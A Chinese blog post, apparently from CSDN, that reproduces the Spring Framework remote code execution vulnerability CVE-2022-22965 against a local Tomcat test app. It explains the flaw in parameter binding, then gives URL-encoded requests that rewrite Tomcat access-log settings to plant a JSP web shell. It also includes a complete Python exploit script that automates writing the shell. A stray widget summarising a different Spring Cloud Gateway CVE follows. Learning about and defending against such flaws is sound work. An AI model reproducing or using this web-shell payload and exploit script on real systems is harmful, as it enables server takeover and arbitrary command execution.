Spring RCE远程执行漏洞(CVE-2022-22965)

Spring RCE远程执行漏洞(CVE-2022-22965)

这个洞22年3月底被大佬发现公布,由于Spring框架的影响范围太大了。复现条件又很低,本身就是高危的RCE漏洞可以直接拿到服务器的shell,像作者说的一样确实是一个核弹漏洞。

影响范围

JDK>8

Spring Framework<5.3.18

Spring Framework<5.2.20

条件

类对象中有get/set方法

Spring controller接口中有对象传入

漏洞原理

User类,有name和Department两个属性

public class User {
    private String name;
    private Department department;public String getName() {
        return name;
    }public void setName(String name) {
        this.name = name;
    }public Department getDepartment() {
        return department;
    }public void setDepartment(Department department) {
        this.department = department;
    }}

Department类具有name属性

public class Department {
    private String name;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

一会准备测试的接口,注意:其中并没有调用User的get/set方法

@Controller
public class UserController {
    @RequestMapping("/testUser")
    public @ResponseBody String testUser(User user) {
        System.out.println("==testUser==");
        return "OK";
    }
}

打断点后DEBUG启动

在这里插入图片描述
携带参数请求该接口

http://localhost:8888/testUser?name=tpa&department.name=code

User对象没有调用get/set方法但其属性却有了值,这是因为Spring的参数绑定特性,而department.name则是多级绑定。(若department中也存在一个具备name属性的area对象,传入参数department.area.name其属性也会更改。)实际上department.name在后台的调用链路为

User.getDepartment() => Department.setName()

department.area.name则为

User.getDepartment() => Department.getArea() => Area.setName()

在这里插入图片描述
因为是封装类private私有属性,能更改类的属性不直接调用get/set肯定是通过反射了。而JDK自带的一个类PropertyDescriptor就可以通过反射来获取设置对象的属性。实现Spring框架参数绑定自动调用get/set方法的关键类BeanWrapperImpl就是对其进行的封装。

public class PropertyDescriptorTest {
    public static void main(String[] args) throws Exception {

        User user = new User();
        user.setName("tpa111");

        BeanInfo userBeanInfo = Introspector.getBeanInfo(User.class);

        PropertyDescriptor[] descriptors = userBeanInfo.getPropertyDescriptors();
        PropertyDescriptor userNameDescriptor = null;


        for (PropertyDescriptor descriptor : descriptors) {
            if (descriptor.getName().equals("name")) {
                userNameDescriptor = descriptor;
                System.out.println("修改前user name:");
                //通过反射调用了get方法
                System.out.println(userNameDescriptor.getReadMethod().invoke(user));
                //通过反射调用了set方法
                userNameDescriptor.getWriteMethod().invoke(user, "tpa222");
            }
        }
        System.out.println("修改后user name:");
        //通过反射调用了get方法
        System.out.println(userNameDescriptor.getReadMethod().invoke(user));
    }
}

在这里插入图片描述
BeanWrapperImpl测试

public class BeanWrapperTest {
    public static void main(String[] args) throws Exception {
        User user = new User();
        user.setName("tpa111");
        Department department = new Department();
        department.setName("code111");
        user.setDepartment(department);

        //关键类
        BeanWrapper userBeanWrapper = new BeanWrapperImpl(user);
        userBeanWrapper.setAutoGrowNestedPaths(true);

        System.out.println("修改前user name:");
        System.out.println(userBeanWrapper.getPropertyValue("name"));
        System.out.println("修改前department name");
        System.out.println(userBeanWrapper.getPropertyValue("department.name"));

        userBeanWrapper.setPropertyValue("name", "tpa222");
        userBeanWrapper.setPropertyValue("department.name", "code222");

        System.out.println("修改后user name:");
        System.out.println(userBeanWrapper.getPropertyValue("name"));
        System.out.println("修改后department name");
        System.out.println(userBeanWrapper.getPropertyValue("department.name"));
    }
}

在这里插入图片描述
而其中最关键的是在BeanWrapperImpl类中在spring进行参数绑定的时候缓存了一个Class属性,用于引用待绑定的类,有这个Class属性意味着使用的对象不需要拥有Class属性(没有傻X在一个类里写入class属性吧,有了这个缓存漏洞直接起飞),通过传入参数class利用参数绑定就能获得Class对象,而能拿到Class对象在java不是想拿谁拿谁。

DEBUG看一下BeanWrapperImpl出现缓存的代码出现在110行
在这里插入图片描述
就是在这里发现了cache了class属性
在这里插入图片描述
漏洞利用
在拿到Class对象后,我们只要想办法怎么找到一个路径下的文件写入jsp木马更改文件后缀就可以了。java项目基本都会使用tomcat服务器,把目标锁定在了tomcat日志。(其他服务器找到路径也可以成功写入shell)
在这里插入图片描述
主要用到的就是HTTP接口访问日志,它是通过server.xml控制的

它的位置在server.xml最底部,我们可以利用刚才的参数绑定漏洞获取到org.apache.catalina.valves.AccessLogValve类修改它的属性

在这里插入图片描述
它这几个属性的含义

directory: access_log文件输出目录——为了方便改为webapps/ROOT根目录
prefix: access_log文件名前缀——随便起名tpa
suffix: access_log文件名后缀——.jsp
pattern: access_log文件内容格式——jsp木马
fileDateFormat:access_log文件名日期后缀,默认为.yyyy-MM-dd——设为空

接下来发送请求更改属性

写入的参数木马

class.module.classLoader.resources.context.parent.pipeline.first.pattern=<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } %>

url编码后的请求

http://localhost:8888/testUser?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%3C%25%20java.io.InputStream%20in%20=%20Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream();%20int%20a%20=%20-1;%20byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;%20while((a=in.read(b))!=-1)%7B%20out.println(new%20String(b));%20%7D%20%25%3E

文件后缀

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
http://localhost:8888/testUser?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

文件路径

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
http://localhost:8888/testUser?class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

文件名

class.module.classLoader.resources.context.parent.pipeline.first.prefix=tpa
http://localhost:8888/testUser?class.module.classLoader.resources.context.parent.pipeline.first.prefix=tpa

文件名日期后缀
虽然没用但是不能少,少了不会生效

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
http://localhost:8888/testUser?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

成功在服务器生成了shell的jsp文件

在这里插入图片描述
成功远程执行

http://localhost:8888/tpa.jsp?cmd=whoami

在这里插入图片描述
以上为手动利用难免出现一些问题效率也不高,直接使用python脚本来进行验证生成shell

使用方式

python exp.py --url http://localhost/testUser
import requests
import argparse
from urllib.parse import urlparse
import time

# Set to bypass errors if the target site has SSL issues
requests.packages.urllib3.disable_warnings()

post_headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

get_headers = {
    "prefix": "<%",
    "suffix": "%>//",
    # This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern
    "c": "Runtime",
}


def run_exploit(url, directory, filename):
    log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
                  f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
                  f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
                  f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"

    log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
    log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
    log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
    log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

    exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])

    # Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times
    # If re-running the exploit, this will create an artifact of {old_file_name}_.jsp
    file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"
    print("[*] Resetting Log Variables.")
    ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)

    # Change the tomcat log location variables
    print("[*] Modifying Log Configurations")
    ret = requests.post(url, headers=post_headers, data=exp_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)

    # Changes take some time to populate on tomcat
    time.sleep(3)

    # Send the packet that writes the web shell
    ret = requests.get(url, headers=get_headers, verify=False)
    print("[*] Response Code: %d" % ret.status_code)

    time.sleep(1)

    # Reset the pattern to prevent future writes into the file
    pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
    print("[*] Resetting Log Variables.")
    ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)


def main():
    parser = argparse.ArgumentParser(description='Spring Core RCE')
    parser.add_argument('--url', help='target url', required=True)
    parser.add_argument('--file', help='File to write to [no extension]', required=False, default="shell")
    parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app',
                        required=False, default="webapps/ROOT")

    file_arg = parser.parse_args().file
    dir_arg = parser.parse_args().dir
    url_arg = parser.parse_args().url

    filename = file_arg.replace(".jsp", "")

    if url_arg is None:
        print("Must pass an option for --url")
        return

    try:
        run_exploit(url_arg, dir_arg, filename)
        print("[+] Exploit completed")
        print("[+] Check your target for a shell")
        print("[+] File: " + filename + ".jsp")

        if dir_arg:
            location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"
        else:
            location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=whoami"
        print(f"[+] Shell should be at: {location}?cmd=whoami")
    except Exception as e:
        print(e)


if __name__ == '__main__':
    main()
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
根据引用\[1\]和引用\[2\]的信息,CVE-2022-22947漏洞Spring Cloud Gateway中的一处命令注入漏洞。攻击者可以通过利用此漏洞执行SpEL表达式,从而在目标服务器上执行任意恶意代码,获取系统权限。具体来说,当使用Spring Cloud Gateway的应用程序对外暴露了Gateway Actuator接口时,攻击者可以发送恶意请求,利用漏洞进行代码注入攻击,从而在远程主机上执行任意远程代码。这个漏洞的影响范围包括Spring Cloud Gateway 3.1.x < 3.1.1和Spring Cloud Gateway 3.0.x < 3.0.7版本,以及其他旧的、不受支持的Spring Cloud Gateway版本。\[1\]\[2\] #### 引用[.reference_title] - *1* *2* [Spring Cloud Gateway RCE漏洞原理分析与复现(CVE-2022-22947)](https://blog.csdn.net/qq_49619863/article/details/127350543)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [CVE-2022-22947 Spring Cloud Gateway 远程代码执行漏洞复现](https://blog.csdn.net/weixin_45260839/article/details/124650584)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值